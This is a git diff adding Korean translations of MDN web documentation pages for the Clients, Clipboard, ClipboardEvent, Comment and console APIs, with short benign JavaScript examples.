Allows an active service worker to set itself as the {{domxref("ServiceWorkerContainer.controller", "controller")}} for all clients within its {{domxref("ServiceWorkerRegistration.scope", "scope")}}. 
+
+ +

Examples

+ +

The following example shows an existing chat window or creates a new one when the user clicks a notification.

+ +
addEventListener('notificationclick', event => {
+  event.waitUntil(async function() {
+    const allClients = await clients.matchAll({
+      includeUncontrolled: true
+    });
+
+    let chatClient;
+
+    // Let's see if we already have a chat window open:
+    for (const client of allClients) {
+      const url = new URL(client.url);
+
+      if (url.pathname == '/chat/') {
+        // Excellent, let's use it!
+        client.focus();
+        chatClient = client;
+        break;
+      }
+    }
+
+    // If we didn't find an existing chat window,
+    // open a new one:
+    if (!chatClient) {
+      chatClient = await clients.openWindow('/chat/');
+    }
+
+    // Message the client:
+    chatClient.postMessage("New chat messages!");
+  }());
+});
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#clients', 'Clients')}}{{Spec2('Service Workers')}}Initial definition
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.Clients")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/clipboard/index.html b/files/ko/web/api/clipboard/index.html new file mode 100644 index 0000000000..7dad311ca7 --- /dev/null +++ b/files/ko/web/api/clipboard/index.html @@ -0,0 +1,89 @@ +--- +title: Clipboard +slug: Web/API/Clipboard +tags: + - API + - Clipboard + - Clipboard API + - Interface + - Reference + - 인터페이스 + - 클립보드 + - 클립보드 API +translation_of: Web/API/Clipboard +--- +

{{SeeCompatTable}}{{APIRef("Clipboard API")}}

+ +
+

clipboard는 데이터 저장 또는 전송을 위한 짧은 기간동안 사용하는 데이터 버퍼 입니다.  documents 와 applications 양쪽에서 사용 가능합니다.  It is usually implemented as an anonymous, temporary data buffer, sometimes called the paste buffer, that can be accessed from most or all programs within the environment via defined programming interfaces.

+ +

A typical application accesses clipboard functionality by mapping user input such as keybindingsmenu selections, etc. to these interfaces.

+
+ +

Clipboard API 의 Clipboard 인터페이스는 시스템 클립보드로부터 텍스트 및 데이터를 읽거나 시스템 클립보드에 쓰기 위한 인터페이스를 지원합니다.

+ +

The Clipboard API can be used to implement cut, copy, and paste features within a web application.

+ +

The system clipboard is exposed through the global {{domxref("Navigator.clipboard")}} property.

+ +

Calls to the methods of the Clipboard object will not succeed if the user hasn't granted the needed permissions using the Permissions API and the "clipboard-read" or "clipboard-write" permission as appropriate.

+ +
+

Note: In reality, at this time browser requirements for access to the clipboard vary significantly. Please see the section {{anch("Clipboard availability")}} for details.

+
+ +

All of the Clipboard API methods operate asynchronously; they return a {{jsxref("Promise")}} which is resolved once the clipboard access has been completed. The promise is rejected if clipboard access is denied.

+ +

Methods

+ +

Clipboard 는 {{domxref("EventTarget")}} 인터페이스를 기반으로 하고 있으며, 해당 인터페이스의 method를 포함합니다.

+ +
+
{{domxref("Clipboard.read()","read()")}}
+
클립보드로부터 임의의 데이터(이미지와 같은)를 요청하며, returning a {{jsxref("Promise")}}. When the data has been retrieved, the promise is resolved with a {{domxref("DataTransfer")}} object that provides the data.
+
{{domxref("Clipboard.readText()","readText()")}}
+
시스템 클립보드로부터 텍스트를 읽는다. returns a Promise which is resolved with a {{domxref("DOMString")}} containing the clipboard's text once it's available.
+
{{domxref("Clipboard.write()","write()")}}
+
시스템 클립보드에 예를 들어 이미지들과 같은 데이터를 쓴다. 이 비동기 작업은 Promise를 반환된 Promise를 resolve 함으로써 작업이 종료되었다는 사실을 알립니다.
+
{{domxref("Clipboard.writeText()","writeText()")}}
+
시스템 클립보드에 텍스트를 쓰며, returning a Promise which is resolved once the text is fully copied into the clipboard.
+
+ +

Clipboard availability

+ +

The asynchronous clipboard API is a relatively recent addition, and the process of implementing it in browsers is not yet complete. Due to both potential security concerns and technical complexities, the process of integrating this API is happening gradually in most browsers.

+ +

For example, Firefox does not yet support the "clipboard-read" and "clipboard-write" permissions, so access to the methods that access and change the contents of the clipboard are restricted in other ways.

+ +

For WebExtensions, you can request the clipboardRead and clipboardWrite permissions to be able to use clipboard.readText() and clipboard.writeText(). Content scripts applied on HTTP sites do not have access to the clipboard object. See extensions in Firefox 63.

+ +

In addition, {{domxref("Clipboard.read", "read()")}} and {{domxref("Clipboard.write", "write()")}} are disabled by default and require changing a preference to enable them. Check the compatibility tables for each method before using it.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Clipboard API','#clipboard-interface','Clipboard')}}{{Spec2('Clipboard API')}}Initial definition.
+ +

Browser Compatibility

+ + + +

{{Compat("api.Clipboard")}}

+ +

See also

+ + diff --git a/files/ko/web/api/clipboard_api/index.html b/files/ko/web/api/clipboard_api/index.html new file mode 100644 index 0000000000..325ce87e71 --- /dev/null +++ b/files/ko/web/api/clipboard_api/index.html @@ -0,0 +1,74 @@ +--- +title: Clipboard API +slug: Web/API/Clipboard_API +tags: + - API + - Clipboard API + - Landing + - Overview + - 클립보드 +translation_of: Web/API/Clipboard_API +--- +
{{DefaultAPISidebar("Clipboard API")}}
+ +

Clipboard API는 클립보드 명령(잘라내기, 복사, 붙여넣기)에 응답할 수 있는 기능 및 시스템 클립보드에 비동기적으로 읽고 쓸 수 있는 방법을 제공합니다. 클립보드 콘텐츠로의 접근은 Permissions API를 통해야 하며, 사용자 동의 없이는 콘텐츠를 읽거나 수정할 수 없습니다.

+ +

Clipboard API는 {{domxref("document.execCommand()")}}를 사용한 클립보드 접근을 대체하기 위해 디자인되었습니다.

+ +

클립보드 접근

+ +

Clipboard 객체의 인스턴스를 생성하지 않고, 전역 {{domxref("Navigator.clipboard", "navigator.clipboard")}}를 사용해 시스템 클립보드에 접근합니다.

+ +
navigator.clipboard.readText().then(
+  clipText => document.querySelector(".editor").innerText += clipText);
+ +

위의 코드 조각은 클립보드에서 텍스트를 가져와서, editor 클래스를 가진 요소의 콘텐츠 뒤에 추가합니다. {{domxref("Clipboard.readText", "readText()")}}는 클립보드의 내용이 텍스트가 아니면 빈 문자열을 반환하므로, 이렇게 작성해도 안전합니다.

+ +

인터페이스

+ +
+
{{domxref("Clipboard")}} {{securecontext_inline}}
+
시스템 클립보드에서 텍스트와 데이터를 읽고 쓸 수 있는 인터페이스를 제공합니다. 명세는 'Async Clipboard API'라고 부릅니다.
+
{{domxref("ClipboardEvent")}} {{securecontext_inline}}
+
클립보드 수정에 관련된 정보를 제공하는 이벤트, 즉 {{domxref("Element/cut_event", "cut")}}, {{domxref("Element/copy_event", "copy")}}, {{domxref("Element/paste_event", "paste")}} 이벤트를 나타냅니다. 명세는 'Clipboard Event API'라고 부릅니다.
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Clipboard API')}}{{Spec2('Clipboard API')}}Initial definition.
+ +

브라우저 호환성

+ +

Clipboard

+ +
+ + +

{{Compat("api.Clipboard")}}

+ +

ClipboardEvent

+ + + +

{{Compat("api.ClipboardEvent")}}

+ +

같이 보기

+ + +
diff --git a/files/ko/web/api/clipboardevent/clipboarddata/index.html b/files/ko/web/api/clipboardevent/clipboarddata/index.html new file mode 100644 index 0000000000..7334fa7e83 --- /dev/null +++ b/files/ko/web/api/clipboardevent/clipboarddata/index.html @@ -0,0 +1,51 @@ +--- +title: ClipboardEvent.clipboardData +slug: Web/API/ClipboardEvent/clipboardData +translation_of: Web/API/ClipboardEvent/clipboardData +--- +

{{ apiref("Clipboard API") }} {{SeeCompatTable}}

+ +

ClipboardEvent.clipboardData 속성은 {{domxref("DataTransfer")}} 객체를 가지고 있으며, 아래와 같은 목적으로 사용될 수 있습니다:

+ + + +

더 많은 정보를 확인하려면 {{event("cut")}}, {{event("copy")}}, and {{event("paste")}} 이벤트에 관한 문서를 참고하세요.

+ +

Syntax

+ +
data = ClipboardEvent.clipboardData
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Clipboard API', '#widl-ClipboardEvent-clipboardData', 'ClipboardEvent.clipboardData') }}{{ Spec2('Clipboard API') }}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.ClipboardEvent.clipboardData")}}

+ +

See also

+ + diff --git a/files/ko/web/api/clipboardevent/index.html b/files/ko/web/api/clipboardevent/index.html new file mode 100644 index 0000000000..332846c031 --- /dev/null +++ b/files/ko/web/api/clipboardevent/index.html @@ -0,0 +1,67 @@ +--- +title: ClipboardEvent +slug: Web/API/ClipboardEvent +tags: + - API + - Clipboard API + - Event + - Experimental + - Interface + - NeedsTranslation + - TopicStub +translation_of: Web/API/ClipboardEvent +--- +

{{APIRef("Clipboard API")}} {{SeeCompatTable}}

+ +

The ClipboardEvent interface represents events providing information related to modification of the clipboard, that is {{event("cut")}}, {{event("copy")}}, and {{event("paste")}} events.

+ +

Constructor

+ +
+
{{domxref("ClipboardEvent.ClipboardEvent", "ClipboardEvent()")}}
+
Creates a ClipboardEvent event with the given parameters.
+
+ +

Properties

+ +

Also inherits properties from its parent {{domxref("Event")}}.

+ +
+
{{domxref("ClipboardEvent.clipboardData")}} {{readonlyInline}}
+
Is a {{domxref("DataTransfer")}} object containing the data affected by the user-initiated {{event("cut")}}, {{event("copy")}}, or {{event("paste")}} operation, along with its MIME type.
+
+ +

Methods

+ +

No specific methods; inherits methods from its parent {{domxref("Event")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Clipboard API', '#clipboard-event-interfaces', 'ClipboardEvent') }}{{ Spec2('Clipboard API') }}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.ClipboardEvent")}}

+ +

See also

+ + diff --git a/files/ko/web/api/comment/index.html b/files/ko/web/api/comment/index.html new file mode 100644 index 0000000000..8758469444 --- /dev/null +++ b/files/ko/web/api/comment/index.html @@ -0,0 +1,73 @@ +--- +title: Comment +slug: Web/API/Comment +tags: + - API + - DOM + - Reference +translation_of: Web/API/Comment +--- +
{{ ApiRef("DOM") }}
+ +

Comment 인터페이스는 마크업 내의 텍스트 표기인 주석을 나타냅니다. 주석은 화면에 보여지지 않지만 웹 페이지의 소스에서 확인할 수 있습니다. HTML과 XML에서 주석은  '<!--' 표기와 '-->' 사이의 내용입니다. XML의 주석 내용에는 '--'을 포함할 수 없습니다.

+ +

{{InheritanceDiagram}}

+ +

속성

+ +

Comment 인터페이스는 별도의 속성을 갖지 않지만 부모인 {{domxref("CharacterData")}}와, 그 부모인 {{domxref("Node")}}의 속성을 상속합니다.

+ +

생성자

+ +
+
{{domxref("Comment.Comment()", "Comment()")}} {{experimental_inline}}
+
매개변수를 내용으로 하는 Comment 객체를 반환합니다.
+
+ +

메서드

+ +

Comment 인터페이스는 별도의 메서드를 갖지 않지만 부모인 {{domxref("CharacterData")}}와, 그 부모인 {{domxref("Node")}}의 메서드를 상속합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#comment', 'Comment')}}{{Spec2('DOM WHATWG')}}Added the constructor.
{{SpecName('DOM3 Core', 'core.html#ID-1728279322', 'Comment')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-1728279322', 'Comment')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}
{{SpecName('DOM1', 'level-one-core.html#ID-1728279322', 'Comment')}}{{Spec2('DOM1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Comment")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/console/assert/index.html b/files/ko/web/api/console/assert/index.html new file mode 100644 index 0000000000..3ad2aafa8e --- /dev/null +++ b/files/ko/web/api/console/assert/index.html @@ -0,0 +1,99 @@ +--- +title: console.assert() +slug: Web/API/Console/assert +tags: + - API + - DOM + - Method + - Reference + - console +translation_of: Web/API/console/assert +--- +
{{APIRef("Console API")}}
+ +

console.assert() 메서드는 주어진 가정이 거짓인 경우 콘솔에 오류 메시지를 출력합니다. 참인 경우, 아무것도 하지 않습니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
console.assert(assertion, obj1 [, obj2, ..., objN]);
+console.assert(assertion, msg [, subst1, ..., substN]); // c-like message formatting
+
+ +

Parameters

+ +
+
assertion
+
아무 불리언 표현식. 거짓인 경우, 메시지를 콘솔에 출력합니다.
+
obj1 ... objN
+
출력에 사용할 JavaScript 객체. 각각의 문자열 표현을 순서대로 출력합니다.
+
msg
+
0개 이상의 치환 문자열을 포함하는 JavaScript 문자열.
+
subst1 ... substN
+
msg 매개변수의 치환 문자열에 대입할 JavaScript 객체.
+
+ +

예제

+ +

다음 예제는 객체와 가정을 함께 사용하는 법을 보입니다.

+ +
const errorMsg = 'the # is not even';
+for (let number = 2; number <= 5; number += 1) {
+    console.log('the # is ' + number);
+    console.assert(number % 2 === 0, {number: number, errorMsg: errorMsg});
+    // or, using ES2015 object property shorthand:
+    // console.assert(number % 2 === 0, {number, errorMsg});
+}
+// output:
+// the # is 2
+// the # is 3
+// Assertion failed: {number: 3, errorMsg: "the # is not even"}
+// the # is 4
+// the # is 5
+// Assertion failed: {number: 5, errorMsg: "the # is not even"}
+
+ +

참고로, {{domxref("console.log()")}}의 치환 문자열을 거의 모든 브라우저에서 정상 동작하지만...

+ +
console.log('the word is %s', 'foo');
+// output: the word is foo
+
+ +

console.assert()의 치환 문자열은 일부 브라우저에서 동작하지 않습니다.

+ +
console.assert(false, 'the word is %s', 'foo');
+// correct output in Node.js and some browsers
+//     (e.g. Firefox v60.0.2):
+// Assertion failed: the word is foo
+// incorrect output in some browsers
+//     (e.g. Chrome v67.0.3396.87):
+// Assertion failed: the word is %s foo
+
+ +

{{domxref("console")}} 문서의 콘솔에 텍스트 출력하기 항목도 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#assert", "console.assert()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.assert")}}

diff --git a/files/ko/web/api/console/clear/index.html b/files/ko/web/api/console/clear/index.html new file mode 100644 index 0000000000..540ce73ee5 --- /dev/null +++ b/files/ko/web/api/console/clear/index.html @@ -0,0 +1,43 @@ +--- +title: console.clear() +slug: Web/API/Console/clear +tags: + - API + - Method + - Reference + - console +translation_of: Web/API/Console/clear +--- +
{{APIRef("Console API")}}
+ +

console.clear() 메서드는 현재 환경에서 가능한 경우, 콘솔에 기록된 메시지를 모두 지웁니다.

+ +

구문

+ +
console.clear();
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#clear", "console.clear()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.clear")}}

diff --git a/files/ko/web/api/console/count/index.html b/files/ko/web/api/console/count/index.html new file mode 100644 index 0000000000..0040da4c11 --- /dev/null +++ b/files/ko/web/api/console/count/index.html @@ -0,0 +1,102 @@ +--- +title: console.count() +slug: Web/API/Console/count +tags: + - API + - DOM + - Method + - Reference +translation_of: Web/API/Console/count +--- +
{{APIRef("Console API")}}
+ +

console.count() 메서드는 특정 count() 호출의 횟수를 세어 출력합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
console.count([label]);
+ +

매개변수

+ +
+
label {{Optional_Inline}}
+
{{jsxref("String")}}. 지정한 경우, 이 레이블을 지정한 count() 호출의 수를 출력합니다. 누락한 경우 "default"를 지정한 것처럼 동작합니다.
+
+ +

예제

+ +
let user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();
+ +

위 코드의 출력 결과는 다음과 같은 형태입니다.

+ +
"default: 1"
+"default: 2"
+"default: 3"
+"default: 4"
+ +

레이블을 명시하지 않았기 때문에 default로 나타납니다.

+ +

첫 번째 count()의 매개변수에는 user 변수를 제공하고, 두 번째에는 문자열 "alice"를 제공할 경우...

+ +
let user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count("alice");
+ +

다음과 같이 출력합니다.

+ +
"bob: 1"
+"alice: 1"
+"alice: 2"
+"alice: 3"
+ +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#count", "console.count()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.count")}}

diff --git a/files/ko/web/api/console/countreset/index.html b/files/ko/web/api/console/countreset/index.html new file mode 100644 index 0000000000..30e6d3ee95 --- /dev/null +++ b/files/ko/web/api/console/countreset/index.html @@ -0,0 +1,108 @@ +--- +title: Console.countReset() +slug: Web/API/Console/countReset +tags: + - API + - DOM + - Method + - Reference + - console +translation_of: Web/API/Console/countReset +--- +
{{APIRef("Console API")}}
+ +

console.countReset() 메서드는 {{domxref("console.count()")}}의 카운터를 초기화합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
console.countReset([label]);
+
+ +

매개변수

+ +
+
label {{optional_inline}}
+
{{jsxref("String")}}. 지정한 경우, 이 레이블을 지정한 count()를 초기화합니다. 누락한 경우 "default" 카운터를 초기화합니다.
+
+ +

예제

+ +
let user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();
+console.countReset();
+ +

위 코드의 출력 결과는 다음과 같은 형태입니다.

+ +
"default: 1"
+"default: 2"
+"default: 3"
+"default: 4"
+"default: 0"
+
+ +

countReset()이 기본 카운터를 초기화했음을 알 수 있습니다.

+ +

레이블을 지정한 경우...

+ +
let user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.countReset("bob");
+console.count("alice");
+ +

다음과 같이 출력합니다.

+ +
"bob: 1"
+"alice: 1"
+"alice: 2"
+"bob: 0"
+"alice: 3"
+ +

카운터 bob을 초기화해도 alice의 값에는 영향이 없습니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#count", "console.countReset()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.countReset")}}

diff --git a/files/ko/web/api/console/debug/index.html b/files/ko/web/api/console/debug/index.html new file mode 100644 index 0000000000..86a3abbc0d --- /dev/null +++ b/files/ko/web/api/console/debug/index.html @@ -0,0 +1,59 @@ +--- +title: console.debug() +slug: Web/API/Console/debug +tags: + - API + - Method + - Reference + - console +translation_of: Web/API/Console/debug +--- +
{{APIRef("Console API")}}
+ +

console.debug() 메서드는 메시지를 "디버그" 중요도로 콘솔에 출력합니다. 디버그 중요도 메시지는 별도 설정 없이는 보이지 않습니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
console.debug(obj1 [, obj2, ..., objN]);
+console.debug(msg [, subst1, ..., substN]);
+
+ +

매개변수

+ +
+
obj1 ... objN
+
출력에 사용할 JavaScript 객체. 각각의 문자열 표현을 순서대로 출력합니다.
+
msg
+
0개 이상의 치환 문자열을 포함하는 JavaScript 문자열.
+
subst1 ... substN
+
msg 매개변수의 치환 문자열에 대입할 JavaScript 객체.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#debug", "console.debug()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Console.debug")}}

+
diff --git a/files/ko/web/api/console/error/index.html b/files/ko/web/api/console/error/index.html new file mode 100644 index 0000000000..529632b39e --- /dev/null +++ b/files/ko/web/api/console/error/index.html @@ -0,0 +1,77 @@ +--- +title: Console.error() +slug: Web/API/Console/error +tags: + - API + - DOM + - 디버깅 + - 메소드 + - 웹 개발 + - 웹 콘솔 +translation_of: Web/API/Console/error +--- +
{{APIRef("Console API")}}
+ +

웹 콘솔에 에러 메시지를 출력합니다.

+ +

{{AvailableInWorkers}}

+ +

문법

+ +
console.error(obj1 [, obj2, ..., objN]);
+console.error(msg [, subst1, ..., substN]);
+console.exception(obj1 [, obj2, ..., objN]);
+console.exception(msg [, subst1, ..., substN]);
+
+ +
+

노트: console.exception()console.error()의 별칭입니다. 둘은 기능적으로 동일합니다.

+
+ +

파라미터

+ +
+
obj1 ... objN
+
출력할 JavaScript 객체의 리스트. 각 객체의 문자열 표현은 나열된 순서로 함께 출력됩니다.
+
msg
+
0개 이상의 하위 문자열을 포함하는 JavaScript 문자열.
+
subst1 ... substN
+
msg 안의 대체할 하위 문자열을 포함하는 JavaScript 객체. 출력 형식에 추가 제어를 할 수 있게 해줍니다.
+
+ +

자세한 내용은 {{domxref("console")}} 문서의 콘솔에 텍스트를 출력하기를 확인하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#error", "console.error()")}}{{Spec2("Console API")}}초기 정의
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Console.error")}}

+
+ +

함께 보기

+ + diff --git a/files/ko/web/api/console/group/index.html b/files/ko/web/api/console/group/index.html new file mode 100644 index 0000000000..a4c4033612 --- /dev/null +++ b/files/ko/web/api/console/group/index.html @@ -0,0 +1,83 @@ +--- +title: Console.group() +slug: Web/API/Console/group +translation_of: Web/API/Console/group +--- +
{{APIRef("Console API")}}
+ +

Web Console log 에 새로운 인라인 그룹을 만듭니다. This indents all following output by an additional level, until {{domxref("console.groupEnd()")}} is called.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
console.group([label]);
+ +

매개변수

+ +

 

+ +
+
label
+
Label for the group. Optional. (Chrome 59 tested) Does not work with console.groupEnd().
+
+ +

{{h3_gecko_minversion("Using groups in the console", "9.0")}}

+ +

You can use nested groups to help organize your output by visually associating related messages. To create a new nested block, call console.group(). The console.groupCollapsed() method is similar, but the new block is collapsed and requires clicking a disclosure button to read it.

+ +

Note: From Gecko 9 until Gecko 51, the groupCollapsed() method was the same as group(). Collapsed groups are fully supported starting in Gecko 52. See {{bug("1088360")}}.

+ +

To exit the current group, call console.groupEnd(). For example, given this code:

+ +
console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.log("Back to the outer level");
+ +

The output looks like this:

+ +

A screenshot of messages nested in the console output.

+ +

See Using groups in the console in the documentation of {{domxref("console")}} for more details.

+ +

 

+ +

설명

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#group", "console.group()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성

+ +

 

+ +

{{Compat("api.Console.group")}}

+ +

 

+ +

더 보기

+ + diff --git a/files/ko/web/api/console/index.html b/files/ko/web/api/console/index.html new file mode 100644 index 0000000000..cd815b0979 --- /dev/null +++ b/files/ko/web/api/console/index.html @@ -0,0 +1,296 @@ +--- +title: console +slug: Web/API/Console +tags: + - API + - Interface + - Reference + - console + - 콘솔 +translation_of: Web/API/Console +--- +
{{APIRef("Console API")}}
+ +

console 객체는 브라우저의 디버깅 콘솔(Firefox 웹 콘솔 등)에 접근할 수 있는 메서드를 제공합니다. 동작 방식은 브라우저마다 다르지만, 사실상 표준으로 여겨지는 기능도 여럿 있습니다.

+ +

console 객체는 아무 전역 객체에서나 접근할 수 있습니다. 브라우징 문맥에선 {{domxref("Window")}}, 워커에서는 {{domxref("WorkerGlobalScope")}}이 속성으로 포함하고 있습니다. {{domxref("Window.console")}}의 형태로 노출되어 있으므로 간단하게 console로 참조할 수 있습니다.

+ +
console.log("링크를 열 수 없습니다")
+ +

이 문서는 콘솔 객체에서 사용할 수 있는 {{anch("메서드")}}와 몇 가지 {{anch("예제")}}를 다룹니다.

+ +

{{AvailableInWorkers}}

+ +
+

참고: 실제 console 인터페이스는 역사적 이유로 인해 모두 소문자(즉 Console이 아니고 console)입니다.

+
+ +

메서드

+ +
+
{{domxref("console.assert()")}}
+
첫 번째 매개변수가 false인 경우 메시지와 {{anch("스택 추적")}}을 출력합니다.
+
{{domxref("console.clear()")}}
+
콘솔의 내용을 지웁니다.
+
{{domxref("console.count()")}}
+
주어진 레이블로 메서드를 호출한 횟수를 출력합니다.
+
{{domxref("console.countReset()")}}
+
주어진 라벨의 횟수를 초기화합니다.
+
{{domxref("console.debug()")}}
+
"debug" 중요도로 메시지를 출력합니다.
+
{{domxref("console.dir()")}}
+
주어진 JavaScript 객체의 속성 목록을 상호작용 가능한 형태로 표시합니다. 속성 값이 다른 객체라면 펼쳐서 살펴볼 수 있습니다.
+
{{domxref("console.dirxml()")}}
+
+

객체를 XML/HTML 요소 형태로 나타낼 수 있으면 그렇게 표시하고, 아닐 경우 JavaScript 객체 형태로 표시합니다.

+
+
{{domxref("console.error()")}}
+
오류 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.
+
{{domxref("console.exception()")}} {{non-standard_inline}} {{deprecated_inline}}
+
error()의 별칭입니다.
+
{{domxref("console.group()")}}
+
새로운 인라인 {{anch("그룹")}}을 생성해, 이후 모든 출력을 한 단계 들여씁니다. 그룹을 나오려면 groupEnd()를 호출하세요.
+
{{domxref("console.groupCollapsed()")}}
+
새로운 인라인 {{anch("그룹")}}을 생성해, 이후 모든 출력을 한 단계 들여씁니다. 그러나 group()과 달리, groupCollapsed()로 생성한 그룹은 처음에 접혀 있습니다. 그룹을 나오려면 groupEnd()를 호출하세요.
+
{{domxref("console.groupEnd()")}}
+
현재 인라인 {{anch("그룹")}}을 나옵니다.
+
{{domxref("console.info()")}}
+
정보 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.
+
{{domxref("console.log()")}}
+
일반 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.
+
{{domxref("console.profile()")}}
+
브라우저의 내장 프로파일러(Firefox 성능 측정 도구 등)를 실행합니다. 선택 사항으로 프로파일에 이름을 붙일 수 있습니다.
+
{{domxref("console.profileEnd()")}}
+
프로파일러를 멈춥니다. 프로파일 결과는 브라우저의 성능 측정 도구(Firefox 성능 측정 도구 등)에서 확인할 수 있습니다.
+
{{domxref("console.table()")}}
+
표 형태의 데이터를 표에 그립니다.
+
{{domxref("console.time()")}}
+
주어진 이름의 {{anch("타이머")}}를 실행합니다. 하나의 페이지에서는 최대 10,000개의 타이머를 동시에 실행할 수 있습니다.
+
{{domxref("console.timeEnd()")}}
+
지정한 {{anch("타이머")}}를 멈추고, 소요시간을 출력합니다.
+
{{domxref("console.timeStamp()")}} {{non-standard_inline}}
+
브라우저의 타임라인이나 워터폴에 마커를 추가합니다.
+
{{domxref("console.trace()")}}
+
{{anch("스택 추적")}}을 출력합니다.
+
{{domxref("console.warn()")}}
+
경고 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.
+
+ +

예제

+ +

콘솔에 텍스트 출력하기

+ +

콘솔에서 가장 많이 사용하는 기능은 데이터와 텍스트를 출력하는 것입니다. 콘솔 메시지의 중요도는 네 가지로, 각각 {{domxref("console.log()")}}, {{domxref("console.info()")}}, {{domxref("console.warn()")}}, {{domxref("console.error()")}} 메서드를 사용해 출력할 수 있습니다. 중요도 별로 출력 스타일이 조금씩 다르며, 중요도 필터를 사용해 원하는 메시지만 골라 볼 수도 있습니다.

+ +

각각의 출력 메서드는 두 가지 방법으로 사용할 수 있습니다. 첫 번째는 단순히 객체 목록을 제공하는 것으로, 각자의 문자열 표현이 하나로 합쳐져서 출력됩니다. 두 번째는 치환 문자열을 포함한 문자열 뒤에, 그 자리에 배치할 객체 목록을 제공하는 것입니다.

+ +

단일 객체 출력하기

+ +

로그를 남기는 가장 간단한 방법은 하나의 객체를 출력하는 것입니다.

+ +
var someObject = { str: "Some text", id: 5 };
+console.log(someObject);
+
+ +

출력은 다음과 같습니다.

+ +
[09:27:13.475] ({str:"Some text", id:5})
+ +

여러 객체 출력하기

+ +

여러 객체를 출력하는 방법은 메서드를 호출할 때 모두 나열하면 됩니다.

+ +
var car = "Dodge Charger";
+var someObject = {str:"Some text", id:5};
+console.info("My first car was a", car, ". The object is: ", someObject);
+ +

출력은 다음과 같습니다.

+ +
[09:28:22.711] My first car was a Dodge Charger. The object is: ({str:"Some text", id:5})
+
+ +

문자열 치환

+ +

log()처럼 문자열을 받는 콘솔 메서드에는 아래의 치환 문자열을 제공할 수 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + +
치환 문자열설명
%o 또는 %OJavaScript 객체를 출력합니다. 객체 이름을 클릭하면 검사기에 더 자세한 정보를 보여줍니다.
%d 또는 %i정수를 출력합니다. 서식도 지원합니다. 예를 들어 console.log("Foo %.2d", "1.1")은 정수부를 0이 앞서는 두 자리로 표현하므로 Foo 01을 출력합니다.
%s문자열을 출력합니다.
%f부동소수점 수를 출력합니다. 서식도 지원합니다. 예를 들어 console.log("Foo %.2f", "1.1")은 소수부를 두 자리로 표현하므로 Foo 1.10을 출력합니다.
+ +
+

참고: Chrome은 숫자 서식을 지원하지 않습니다.

+
+ +

각각의 치환 문자열은 이후 매개변수에서 값을 가져옵니다. 예를 들어...

+ +
for (var i=0; i<5; i++) {
+  console.log("Hello, %s. You've called me %d times.", "Bob", i+1);
+}
+
+ +

위의 출력은 다음과 같습니다.

+ +
[13:14:13.481] Hello, Bob. You've called me 1 times.
+[13:14:13.483] Hello, Bob. You've called me 2 times.
+[13:14:13.485] Hello, Bob. You've called me 3 times.
+[13:14:13.487] Hello, Bob. You've called me 4 times.
+[13:14:13.488] Hello, Bob. You've called me 5 times.
+
+ +

